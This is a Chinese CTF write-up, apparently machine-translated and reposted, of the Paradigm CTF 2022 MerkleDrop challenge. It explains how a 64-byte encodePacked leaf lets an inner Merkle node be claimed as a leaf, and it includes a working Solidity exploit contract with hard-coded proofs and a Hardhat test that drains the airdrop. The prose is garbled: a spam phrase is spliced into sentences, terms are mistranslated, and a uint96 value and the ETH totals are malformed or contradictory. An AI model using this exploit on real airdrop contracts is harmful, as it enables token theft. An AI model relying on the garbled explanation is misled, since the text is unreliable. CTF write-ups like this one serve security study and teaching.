空投网站模板-Xu29的博客

Paradigm CTF 2022 MerkleDrop

author:Thomas_Xu

Paradigm CTF 2022 官方网站

ParadigmCTF 2022源代码

环境配置:

由于主题环境需要使用docker空投网站模板,所以环境配置比较冗长。我重新搭建了一个hardhat框架的测试环境,由于问题出在以太坊的苯环上,所以使用Alchemyfork测试了一个主网

话题分析

首先我们看一下这个话题的描述,你被列入白名单了吗? 您在白名单中吗? 显然,这是一个关于Powei白名单的问题。 标题为我们提供了64个叶子节点的验证信息,包括每个用户地址对应的索引、金额和证明验证哈希。 用户可以凭此文件中的相关Proof,领取合约中对应数量的Token。 看来我们需要通过某种漏洞来获取白名单权限,我们进入Setup看看判断条件:

function isSolved() public view returns (bool) {
        bool condition1 = token.balanceOf(address(merkleDistributor)) == 0;
        bool condition2 = false;
        for (uint256 i = 0; i < 64; ++i) {
            if (!merkleDistributor.isClaimed(i)) {
                condition2 = true;
                break;
            }
        }
        return condition1 && condition2;
    }

有两个判决:

经过计算,json文件中的64个地址可接收的金额相乘,正好等于merkleDistributor中的75个ETH余额。 想要同时完成这两个判断似乎是不可能的。

如果是按照标准实现的Merkle Tree,我们几乎不可能攻击它。 那么我们来比较一下这里的代码和 Merkle Tree 标准实现的区别。

这个uint96是最可疑的地方

我们回顾一下MerkleTree的验证过程

空投网站模板-Xu29的博客

Merkle Tree的基本原理是利用叶子节点的值逐层估计哈希值,最终得到Root值。 要验证某个叶子节点是否在 Merkle Tree 中,只需提供对应的 Proofs 路径进行估计,并观察最终的 Root 值是否一致。

而这道题最巧妙的一点就是:因为amout字段使用的是uint96,所以有一个巧合。

function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
        ...
        // Verify the merkle proof.
        bytes32 node = keccak256(abi.encodePacked(index, account, amount));
        require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
      	...
    }
}

权利要求中的节点节点哈希估计方法是先abi.encodePacked(index, account, amount)然后hash。而这里的三个数组是

这三个数组相加正好是64字节。 正好是两个keccak256哈希结果拼接在一起的大小。 可以看到,其中一个哈希值作为索引,另一个哈希值作为账户+金额。

那么我们就可以利用这个巧合来构造一个假输入,并且这个输入可以完美地通过哈希验证。

开发

现在的重点是构建这个“巧合哈希”

空投网站模板-Xu29的博客

空投总数为7500 ETH,即0x0fe1c215E8F838E00000,UINT96最大值为0xffffffffffffffffffffffFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFOA。

0xffffffffffffffffffffffff
0x00000fe1c215e8f838e00000

两者之间至少相差5个0,但这也给我们提供了一个思路。 我们去tree.json中搜索含有5个连续0的哈希值。

不难发现,节点37

更巧合的是,如果hash从前0开始截去空投网站模板,前一部分正好是20bytes,后一部分正好是12bytes。 换句话说,这个哈希值可以被解析为账户+金额。

account: 0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A
amount: 0x00000f40f0c122ae08d2207b

让我们看看如何在 MerkleProof 中验证节点:

空投网站模板-Xu29的博客

function verify(
    bytes32[] memory proof,
    bytes32 root,
    bytes32 leaf
  )
    internal
    pure
    returns (bool)
  {
    bytes32 computedHash = leaf;
    for (uint256 i = 0; i < proof.length; i++) {
      bytes32 proofElement = proof[i];
      if (computedHash < proofElement) {
        // Hash(current computed hash + current element of the proof)
        computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
      } else {
        // Hash(current element of the proof + current computed hash)
        computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
      }
    }
    // Check if the computed hash (root) is equal to the provided root
    return computedHash == root;
  }
}

其实验证过程和merkletree的标准实现是一样的。 叶子节点和验证节点自下而上,将两个哈希拼接在一起,然后取哈希,最后与根哈希比较,看是否相等。

那么因为之前的巧合,我们可以用第一个索引为37的证明节点作为突破口。

因为验证过程的第一次验证(被验证的节点和第一个证明节点hex)还需要将节点37的哈希和我们的“突破”哈希连接起来,然后取该哈希进行后续操作。

那我们就可以在第一次验证的点上做文章了

我们回过头来看看 Claim 函数是如何估计节点哈希值的:

bytes32 node = keccak256(abi.encodePacked(index, account, amount));

前面说过,索引可以看作是前哈希,账户和金额可以看作是后哈希,所以我们可以直接构造拼接来进行第一次验证。

空投网站模板-Xu29的博客

也就是说,我们可以完美通过“意外”参数的验证。

但此时账户为0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A,金额为0x00000f40f0c122ae08d2207b。 这些是意想不到的参数。 并且转换后的金额恰好大于75

计算一下还剩多少token未领
0x0fe1c215e8f838e00000 - 0x00000f40f0c122ae08d2207b = 
0xa0d154c64a300ddf85

而这个金额与索引为8的节点的金额完全相同,所以只要经过这个叶子节点,就可以收到空投合约中的所有代币,解决这个问题。

附上利用合同

contract Exploit {
    constructor(Setup setup) {
        MerkleDistributor merkleDistributor = setup.merkleDistributor();
        
        //通过拼接哈希,跳过第一个验证节点。
        bytes32[] memory merkleProof1 = new bytes32[](5);
        merkleProof1[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
        merkleProof1[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
        merkleProof1[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
        merkleProof1[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        merkleProof1[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        merkleDistributor.claim(
                0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442, 
                address(0x00d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a), 
                0x00000f40f0c122ae08d2207b,
                merkleProof1
        );
        //用index 8取完剩下的token即可
        bytes32[] memory merkleProof2 = new bytes32[](6);
        merkleProof2[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
        merkleProof2[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
        merkleProof2[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
        merkleProof2[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
        merkleProof2[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        merkleProof2[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        merkleDistributor.claim(8, address(0x249934e4C5b838F920883a9f3ceC255C0aB3f827), 0xa0d154c64a300ddf85, merkleProof2);
    }
}

附安全帽测试箱

const { expect } = require("chai");
const { ethers } = require('hardhat');
describe("Challange merkleDrop", function() {
    let attacker,deployer;
    it("should return the solved", async function() {
        [attacker,deployer] = await ethers.getSigners();
        const SetupFactory = await ethers.getContractFactory("MerkleSetup", attacker);
  
        const setup = await SetupFactory.deploy({
            value: ethers.utils.parseEther("75")
        });
        
        //Exploit
        const ExploitFactory = await ethers.getContractFactory("MerkleDropExploit",attacker);
        await ExploitFactory.deploy(setup.address);
        expect(await setup.isSolved()).to.equal(true);
        
    });
  });
  

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 模板插件 空投网站模板-Xu29的博客 https://www.wkzy.net/game/165706.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务